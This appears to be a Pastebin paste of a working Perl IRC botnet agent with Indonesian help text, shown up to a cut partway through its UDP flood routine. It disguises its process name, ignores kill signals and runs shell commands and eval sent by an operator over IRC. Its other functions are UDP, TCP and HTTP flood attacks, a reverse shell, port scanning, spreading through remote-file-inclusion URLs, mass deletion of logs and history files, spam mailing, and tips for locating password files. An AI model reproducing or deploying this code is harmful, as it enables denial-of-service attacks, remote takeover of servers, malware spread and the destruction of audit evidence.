Advertisement
mrgobel

perl.txt

Jan 7th, 2017
204
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.54 KB | None | 0 0
  1. use IO::Socket::INET;
  2. use HTTP::Request;
  3. use LWP::UserAgent;
  4.  
  5. my @ps = ("/usr/sbin/httpd","/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[Deco]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[httpds]","/usr/sbin/httpd","[bash]");
  6. $processo = $ps[rand scalar @ps];
  7. my $linas_max='10';
  8. my $sleep='3';
  9. my @adms=("Up");
  10. my @canais="#idcloudhost";
  11. my @nickname = ("ID-PERL");
  12. my @rname = (Idcloudhost);
  13. my $nick = $nickname[rand scalar @nickname];
  14. my $ircname = $nickname[rand scalar @nickname];
  15. my $realname = $rname[rand scalar @rname];
  16. $servidor='irc.allnetwork.org' unless $servidor;
  17. my $porta='6667';
  18.  
  19. $SIG{'INT'} = 'IGNORE';
  20. $SIG{'HUP'} = 'IGNORE';
  21. $SIG{'TERM'} = 'IGNORE';
  22. $SIG{'CHLD'} = 'IGNORE';
  23. $SIG{'PS'} = 'IGNORE';
  24. use IO::Socket;
  25. use Socket;
  26. use IO::Select;
  27. chdir("/");
  28.  
  29. ###########
  30. # Connect #
  31. ###########
  32. $servidor="$ARGV[0]" if $ARGV[0];
  33. $0="$processo"."\0"x16;;
  34. my $pid=fork;
  35. exit if $pid;
  36. die "Fork Problems: $!" unless defined($pid);
  37.  
  38. our %irc_servers;
  39. our %DCC;
  40. my $dcc_sel = new IO::Select->new();
  41. $sel_cliente = IO::Select->new();
  42. sub sendraw {
  43. if ($#_ == '1') {
  44. my $socket = $_[0];
  45. print $socket "$_[1]\n";
  46. } else {
  47. print $IRC_cur_socket "$_[0]\n";
  48. }
  49. }
  50.  
  51. sub conectar {
  52. my $meunick = $_[0];
  53. my $servidor_con = $_[1];
  54. my $porta_con = $_[2];
  55. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  56. PeerPort=>$porta_con) or return(1);
  57. if (defined($IRC_socket)) {
  58. $IRC_cur_socket = $IRC_socket;
  59. $IRC_socket->autoflush(1);
  60. $sel_cliente->add($IRC_socket);
  61. $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  62. $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  63. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  64. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  65. nick("$meunick");
  66. sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  67. sleep 1;
  68. }
  69. }
  70.  
  71. my $line_temp;
  72. while( 1 ) {
  73. while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  74. delete($irc_servers{''}) if (defined($irc_servers{''}));
  75. my @ready = $sel_cliente->can_read(0);
  76. next unless(@ready);
  77. foreach $fh (@ready) {
  78. $IRC_cur_socket = $fh;
  79. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  80. $nread = sysread($fh, $msg, 4096);
  81. if ($nread == 0) {
  82. $sel_cliente->remove($fh);
  83. $fh->close;
  84. delete($irc_servers{$fh});
  85. }
  86. @lines = split (/\n/, $msg);
  87. for(my $c=0; $c<= $#lines; $c++) {
  88.  
  89. $line = $lines[$c];
  90. $line=$line_temp.$line if ($line_temp);
  91. $line_temp='';
  92. $line =~ s/\r$//;
  93. unless ($c == $#lines) {
  94. parse("$line");
  95. } else {
  96. if ($#lines == 0) {
  97. parse("$line");
  98. } elsif ($lines[$c] =~ /\r$/) {
  99. parse("$line");
  100. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  101. parse("$line");
  102. } else {
  103. $line_temp = $line;
  104. }
  105. }
  106. }
  107. }
  108. }
  109.  
  110. sub parse {
  111. my $servarg = shift;
  112. if ($servarg =~ /^PING \:(.*)/) {
  113. sendraw("PONG :$1");
  114. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  115. my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  116. if ($args =~ /^\001VERSION\001$/) {
  117. notice("$pn", "\001VERSION mIRC v6.17 Mic22\001");
  118. }
  119. if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
  120. if ($onde eq "$meunick"){
  121. shell("$pn", "$args");
  122. }
  123.  
  124. ##################
  125. # End of Connect #
  126. ##################
  127. ######################
  128. # PREFIX #
  129. ######################
  130.  
  131. if ($args =~ /^(\Q$meunick\E|\!so)\s+(.*)/ ) {
  132. my $natrix = $1;
  133. my $arg = $2;
  134. if ($arg =~ /^\!(.*)/) {
  135. ircase("$pn","$onde","$1") unless ($natrix eq "!so" and $arg =~ /^\!nick/);
  136. } elsif ($arg =~ /^\@(.*)/) {
  137. $ondep = $onde;
  138. $ondep = $pn if $onde eq $meunick;
  139. bfunc("$ondep","$1");
  140. } else {
  141. shell("$onde", "$arg");
  142. }
  143. }
  144. }
  145. }
  146. ######################
  147. # End of PREFIX #
  148. ######################
  149.  
  150. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  151. if (lc($1) eq lc($meunick)) {
  152. $meunick=$4;
  153. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  154. }
  155. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  156. nick("$meunick".int rand(99));
  157. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  158. $meunick = $2;
  159. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  160. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  161. foreach my $canal (@canais) {
  162. sendraw("JOIN $canal ddosit");
  163. }
  164. }
  165. }
  166.  
  167. sub bfunc {
  168. my $printl = $_[0];
  169. my $funcarg = $_[1];
  170. if (my $pid = fork) {
  171. waitpid($pid, 0);
  172. } else {
  173. if (fork) {
  174. exit;
  175. } else {
  176.  
  177. ######################
  178. # Help #
  179. ######################
  180.  
  181. if ($funcarg =~ /^help/) {
  182. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Lets Go!, Nih depe command :");
  183. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@ddos");
  184. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@scanscan");
  185. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@backconnect");
  186. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@shell");
  187. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@portscanner");
  188. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Untuk command lain, ketik:");
  189. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 7@commands");
  190.  
  191. }
  192.  
  193. if ($funcarg =~ /^ddos/) {
  194. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Ada tiga command DDOS");
  195. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. UDPFlood, HTTPFlood and TCPFlood");
  196. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@udpflood <ip> <packet size> <time>");
  197. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@tcpflood <ip> <port> <packet size> <time>");
  198. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@httpflood <site> <time>");
  199.  
  200. }
  201.  
  202. if ($funcarg =~ /^backconnect/) {
  203. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Gunakan command ini untuk reverse shell :");
  204. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 7@back <ip><port>");
  205. }
  206.  
  207. if ($funcarg =~ /^shell/) {
  208. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Command integrasi bot shell");
  209. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Bisa digunakan untuk privat maupun public channel");
  210. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Untuk public chan gunakan : 12!so cd tmp12 (contoh)");
  211. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Untuk command linux ketik :!so 7@linuxhelp");
  212. }
  213.  
  214. if ($funcarg =~ /^portscanner/) {
  215. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Ini adalah command portscan dam Nmap:");
  216. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@portscan <ip>");
  217. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@nmap <ip> <beginport> <endport>");
  218. }
  219.  
  220. if ($funcarg =~ /^commands/) {
  221. sendraw($IRC_cur_socket, "PRIVMSG $printl :4.:!:.Help4.:!:. Ini commandnya :");
  222. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@portscan <ip>");
  223. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@nmap <ip> <beginport> <endport>");
  224. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@back <ip><port>");
  225. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so cd tmp 4 untuk contoh");
  226. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@udpflood <ip> <packet size> <time>");
  227. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@tcpflood <ip> <port> <packet size> <time>");
  228. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@httpflood <site> <time>");
  229. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@linuxhelp");
  230. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@spread <scan>");
  231. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@scan <vuln> <dork>");
  232. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@system");
  233. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@logcleaner");
  234. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@sendmail <subject> <sender> <recipient> <message>");
  235. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@milw0rm");
  236. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@join #channel");
  237. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@part #channel");
  238. }
  239.  
  240. if ($funcarg =~ /^linuxhelp/) {
  241. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Dir where you are : pwd");
  242. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Start a Perl file : perl file.pl");
  243. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Go back from dir : cd ..");
  244. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Force to Remove a file/dir : rm -rf file/dir;ls -la");
  245. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Show all files/dir with permissions : ls -lia");
  246. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Find config.inc.php files : find / -type f -name config.inc.php");
  247. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Find all writable folders and files : find / -perm -2 -ls");
  248. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Find all .htpasswd files : find / -type f -name .htpasswd");
  249. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Find all service.pwd files : find / -type f -name service.pwd");
  250. }
  251.  
  252. ######################
  253. # End of Help #
  254. ######################
  255. if ($funcarg =~ /^spread\s+(.*)/) {
  256. my $sbj = "http://munbaekcho.es.kr/gallery/data/log/logger.txt?";
  257. $vuln = $1;
  258. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Spread Mode12.:!:. Spreading bot on :14 $vuln");
  259. my $shellurl="http://".$vuln.$sbj."?";
  260. my $reqz=HTTP::Request->new(GET=>$shellurl);
  261. my $ua=LWP::UserAgent->new();
  262. my $response=$ua->request($reqz);
  263. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Spread Mode12.:!:. Bot is Spreaded on :14 $vuln");
  264. }
  265.  
  266. if ($funcarg =~ /^spreads\s+(.*)/) {
  267. my $soh = "http://www.traviswolff.com/gspreadz.txt?";
  268. $vuln = $1;
  269. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Spread Mode12.:!:. Spreading bot on :14 $vuln");
  270. my $shellurl="http://".$vuln.$soh."?";
  271. my $reqz=HTTP::Request->new(GET=>$shellurl);
  272. my $ua=LWP::UserAgent->new();
  273. my $response=$ua->request($reqz);
  274. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Spread Mode12.:!:. Cyber Bot is Spreaded on :14 $vuln");
  275. }
  276. ######################
  277. # Commands #
  278. ######################
  279.  
  280. if ($funcarg =~ /^system/) {
  281. $uname=`uname -a`;$uptime=`uptime`;$ownd=`pwd`;$distro=`cat /etc/issue`;$id=`id`;$un=`uname -sro`;
  282. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. Info BOT : Server : 14Cannot View :14 1337");
  283. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. Uname -a : 7 $uname");
  284. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. Uptime : 7 $uptime");
  285. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. Own Prosses : 7 $processo");
  286. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. ID : 7 $id");
  287. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. Own Dir : 7 $ownd");
  288. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. OS : 7 $distro");
  289. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. Owner : 7 Conficker[aKa]ikhy");
  290. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. Channel : 7 autorun");
  291. }
  292.  
  293. if ($funcarg =~ /^milw0rm/) {
  294. my @ltt=();
  295. my @bug=();
  296. my $x;
  297. my $page="";
  298. my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
  299. print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  300. my @r = <$socke>;
  301. $page="@r";
  302. close($socke);
  303. while ($page =~ m/<title>(.*)</g){
  304. $x = $1;
  305. if ($x =~ /\&lt\;/) {
  306. $x =~ s/\&lt\;/</g;
  307. }
  308. if ($x !~ /milw0rm/) {
  309. push (@bug,$x);
  310. }}
  311. while ($page =~ m/<link.*expl.*([0-9]...)</g) {
  312. if ($1 !~ m/milw0rm.com|exploits|en/){
  313. push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
  314. }}
  315. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Milw0rm Bugs12.:!:. gak bekerja, coba kembali :");
  316. foreach $x (0..(@ltt - 1)) {
  317. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Milw0rm Bugs12.:!:.14 $bug[$x] -3 $ltt[$x]");
  318. sleep 1;
  319. }}
  320. ######################
  321. # Portscan #
  322. ######################
  323.  
  324. if ($funcarg =~ /^portscan (.*)/) {
  325. my $hostip="$1";
  326. my
  327. @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
  328. my (@aberta, %porta_banner);
  329. sendraw($IRC_cur_socket, "PRIVMSG $printl :(12.:!:.PortScan12.:!:.) 4Loading port scanner.. 12(wait a minute, ok !!)  12".$1." Starting now!! .");
  330. foreach my $porta (@portas) {
  331. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
  332. 'tcp', Timeout => 4);
  333. if ($scansock) {
  334. push (@aberta, $porta);
  335. $scansock->close;
  336. }
  337. }
  338.  
  339. if (@aberta) {
  340. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.PortScan12.:!:. 6open ports :5 @aberta");
  341. } else {
  342. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.PortScan12.:!:. 6theres no open port");
  343. }
  344. }
  345.  
  346. ######################
  347. # End of Portscan #
  348. ######################
  349. ######################
  350. # Nmap #
  351. ######################
  352. if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){
  353. my $hostip="$1";
  354. my $portstart = "$2";
  355. my $portend = "$3";
  356. my (@abertas, %porta_banner);
  357. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Nmap12.:!:. :4 $1 (7.:!:.Port7.:!:.) 12 $2-$3");
  358. foreach my $porta ($portstart..$portend){
  359. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  360. if ($scansock) {
  361. push (@abertas, $porta);
  362. $scansock->close;
  363. if ($xstats){
  364. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Nmap12.:!:. Founded 4 $porta"."/Open");
  365. }
  366. }
  367. }
  368. if (@abertas) {
  369. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Nmap12.:!:. Complete ");
  370. } else {
  371. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Nmap12.:!:. No open ports have been founded 13");
  372. }
  373. }
  374. ######################
  375. # End of Nmap #
  376. ######################
  377. ######################
  378. # Log Cleaner #
  379. ######################
  380. if ($funcarg =~ /^logcleaner/) {
  381. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Log Cleaner!!!12.:!:. it takes a couple of minutes...");
  382. system 'rm -rf /var/log/lastlog';
  383. system 'rm -rf /var/log/wtmp';
  384. system 'rm -rf /etc/wtmp';
  385. system 'rm -rf /var/run/utmp';
  386. system 'rm -rf /etc/utmp';
  387. system 'rm -rf /var/log';
  388. system 'rm -rf /var/logs';
  389. system 'rm -rf /var/adm';
  390. system 'rm -rf /var/apache/log';
  391. system 'rm -rf /var/apache/logs';
  392. system 'rm -rf /usr/local/apache/log';
  393. system 'rm -rf /usr/local/apache/logs';
  394. system 'rm -rf /root/.bash_history';
  395. system 'rm -rf /root/.ksh_history';
  396. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Log Cleaner12.:!:. 4log files have been cleaned");
  397. sleep 1;
  398. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Log Cleaner12.:!:. 4system log cleaner");
  399. system 'find / -name *.bash_history -exec rm -rf {} \;';
  400. system 'find / -name *.bash_logout -exec rm -rf {} \;';
  401. system 'find / -name "log*" -exec rm -rf {} \;';
  402. system 'find / -name *.log -exec rm -rf {} \;';
  403. sleep 1;
  404. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Log Cleaner12.:!:. 4done! all log files have been cleaned");
  405. }
  406. ######################
  407. # End of Log Cleaner #
  408. ######################
  409. ###########################################################
  410. # MAILER #
  411. # For mailing use : #
  412. # !lol @sendmail <subject> <sender> <recipient> <message> #
  413. ###########################################################
  414. if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  415. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Mailer12.:!:. Try Sending Mail to :10 $3");
  416. $subject = $1;
  417. $sender = $2;
  418. $recipient = $3;
  419. @corpo = $4;
  420. $mailtype = "content-type: text/html";
  421. $sendmail = '/usr/sbin/sendmail';
  422. open (SENDMAIL, "| $sendmail -t");
  423. print SENDMAIL "$mailtype\n";
  424. print SENDMAIL "Subject: $subject\n";
  425. print SENDMAIL "From: $sender\n";
  426. print SENDMAIL "To: $recipient\n\n";
  427. print SENDMAIL "@corpo\n\n";
  428. close (SENDMAIL);
  429. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Mailer12.:!:. Successfully Sended to :10 $recipient");
  430. }
  431. ######################
  432. # End of MAILER #
  433. ######################
  434. ######################
  435. # Join And Part #
  436. ######################
  437. if ($funcarg =~ /^join (.*)/) {
  438. sendraw($IRC_cur_socket, "JOIN ".$1);
  439. }
  440. if ($funcarg =~ /^part (.*)/) {
  441. sendraw($IRC_cur_socket, "PART ".$1);
  442. }
  443. if($funcarg=~ /^\:$admin!.*\@.*PRIVMSG.*:!out/){
  444. sendraw($IRC_cur_socket, "QUIT");
  445. }
  446.  
  447. ######################
  448. #End of Join And Part#
  449. ######################
  450. ######################
  451. # TCPFlood #
  452. ######################
  453.  
  454. if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  455. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.TCP DDoS12.:!:. Haaajjjaaarrr 4 ".$1.":".$2." for 12 ".$3." seconds.");
  456. my $itime = time;
  457. my ($cur_time);
  458. $cur_time = time - $itime;
  459. while ($3>$cur_time){
  460. $cur_time = time - $itime;
  461. &tcpflooder("$1","$2","$3");
  462. }
  463. sendraw($IRC_cur_socket,"PRIVMSG $printl :12.:!:.TCP DDoS12.:!:. Missi Selesai.. 12 ".$1.":".$2.".");
  464. }
  465. ######################
  466. # End of TCPFlood #
  467. ######################
  468. ######################
  469. # Back Connect #
  470. ######################
  471. if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  472. my $host = "$1";
  473. my $porta = "$2";
  474. my $proto = getprotobyname('tcp');
  475. my $iaddr = inet_aton($host);
  476. my $paddr = sockaddr_in($porta, $iaddr);
  477. my $shell = "/bin/sh -i";
  478. if ($^O eq "MSWin32") {
  479. $shell = "cmd.exe";
  480. }
  481. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  482. connect(SOCKET, $paddr) or die "connect: $!";
  483. open(STDIN, ">&SOCKET");
  484. open(STDOUT, ">&SOCKET");
  485. open(STDERR, ">&SOCKET");
  486. system("$shell");
  487. close(STDIN);
  488. close(STDOUT);
  489. close(STDERR);
  490. if ($estatisticas)
  491. {
  492. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.BackConnect12.:!:. Connecting to 4 $host:$porta");
  493. }
  494. }
  495. ######################
  496. #End of Back Connect#
  497. ######################
  498. ######################
  499. # HTTPFlood #
  500. # #
  501. ######################
  502. if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  503. sendraw($IRC_cur_socket, "PRIVMSG $printl :7.:!:.Http DDoS7.:!:. Haaajjjaaarrr 12 ".$1." on port 80 untuk 4 ".$2." Detik .");
  504. my $itime = time;
  505. my ($cur_time);
  506. $cur_time = time - $itime;
  507. while ($2>$cur_time){
  508. $cur_time = time - $itime;
  509. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  510. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  511. close($socket);
  512. }
  513. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Http DDoS12:!:. Selesai menghajar 4 ".$1.".");
  514. }
  515. ######################
  516. # End of HTTPFlood #
  517. # #
  518. ######################
  519. ######################
  520. # UDPFlood #
  521. # #
  522. ######################
  523. if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  524. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Udp DDoS12.:!:. Haaajjjaaarrr12 ".$1." dengan 4 ".$2." Kb Packets untuk 4 ".$3." detik.");
  525. my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  526. $dtime = 1 if $dtime == 0;
  527. my %bytes;
  528. $bytes{igmp} = $2 * $pacotes{igmp};
  529. $bytes{icmp} = $2 * $pacotes{icmp};
  530. $bytes{o} = $2 * $pacotes{o};
  531. $bytes{udp} = $2 * $pacotes{udp};
  532. $bytes{tcp} = $2 * $pacotes{tcp};
  533. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Udp DDoS12.:!:. Results4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in12 ".$dtime." seconds to12 ".$1.".");
  534. }
  535. exit;
  536. }
  537. }
  538. ######################
  539. # End of Udpflood #
  540. # #
  541. ######################
  542.  
  543.  
  544. sub ircase {
  545. my ($kem, $printl, $case) = @_;
  546. if ($case =~ /^join (.*)/) {
  547. j("$1");
  548. }
  549. if ($case =~ /^part (.*)/) {
  550. p("$1");
  551. }
  552. if ($case =~ /^rejoin\s+(.*)/) {
  553. my $chan = $1;
  554. if ($chan =~ /^(\d+) (.*)/) {
  555. for (my $ca = 1; $ca <= $1; $ca++ ) {
  556. p("$2");
  557. j("$2");
  558. }
  559. }
  560. else {
  561. p("$chan");
  562. j("$chan");
  563. }
  564. }
  565.  
  566. if ($case =~ /^op/) {
  567. op("$printl", "$kem") if $case eq "op";
  568. my $oarg = substr($case, 3);
  569. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  570. }
  571.  
  572. if ($case =~ /^deop/) {
  573. deop("$printl", "$kem") if $case eq "deop";
  574. my $oarg = substr($case, 5);
  575. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  576. }
  577.  
  578. if ($case =~ /^msg\s+(\S+) (.*)/) {
  579. msg("$1", "$2");
  580. }
  581.  
  582. if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  583. for (my $cf = 1; $cf <= $1; $cf++) {
  584. msg("$2", "$3");
  585. }
  586. }
  587.  
  588. if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  589. ctcp("$1", "$2");
  590. }
  591.  
  592. if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  593. for (my $cf = 1; $cf <= $1; $cf++) {
  594. ctcp("$2", "$3");
  595. }
  596. }
  597.  
  598. if ($case =~ /^nick (.*)/) {
  599. nick("$1");
  600. }
  601.  
  602. if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  603. conectar("$2", "$1", 6667);
  604. }
  605.  
  606. if ($case =~ /^raw (.*)/) {
  607. sendraw("$1");
  608. }
  609.  
  610. if ($case =~ /^eval (.*)/) {
  611. eval "$1";
  612. }
  613. }
  614.  
  615. sub shell {
  616. my $printl=$_[0];
  617. my $comando=$_[1];
  618. if ($comando =~ /cd (.*)/) {
  619. chdir("$1") || msg("$printl", "No such file or directory");
  620. return;
  621. }
  622.  
  623. elsif ($pid = fork) {
  624. waitpid($pid, 0);
  625. }
  626. else {
  627. if (fork) {
  628. exit;
  629.  
  630. } else {
  631. my @resp=`$comando 2>&1 3>&1`;
  632. my $c=0;
  633. foreach my $linha (@resp) {
  634. $c++;
  635. chop $linha;
  636. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  637. if ($c == "$linas_max") {
  638. $c=0;
  639. sleep $sleep;
  640. }
  641. }
  642. exit;
  643. }
  644. }
  645. }
  646.  
  647. sub tcpflooder {
  648. my $itime = time;
  649. my ($cur_time);
  650. my ($ia,$pa,$proto,$j,$l,$t);
  651. $ia=inet_aton($_[0]);
  652. $pa=sockaddr_in($_[1],$ia);
  653. $ftime=$_[2];
  654. $proto=getprotobyname('tcp');
  655. $j=0;$l=0;
  656. $cur_time = time - $itime;
  657. while ($l<1000){
  658. $cur_time = time - $itime;
  659. last if $cur_time >= $ftime;
  660. $t="SOCK$l";
  661. socket($t,PF_INET,SOCK_STREAM,$proto);
  662. connect($t,$pa)||$j--;
  663. $j++;$l++;
  664. }
  665. $l=0;
  666. while ($l<1000){
  667. $cur_time = time - $itime;
  668. last if $cur_time >= $ftime;
  669. $t="SOCK$l";
  670. shutdown($t,2);
  671. $l++;
  672. }
  673. }
  674.  
  675. sub udpflooder {
  676. my $iaddr = inet_aton($_[0]);
  677. my $msg = 'A' x $_[1];
  678. my $ftime = $_[2];
  679. my $cp = 0;
  680. my (%pacotes);
  681. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  682. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
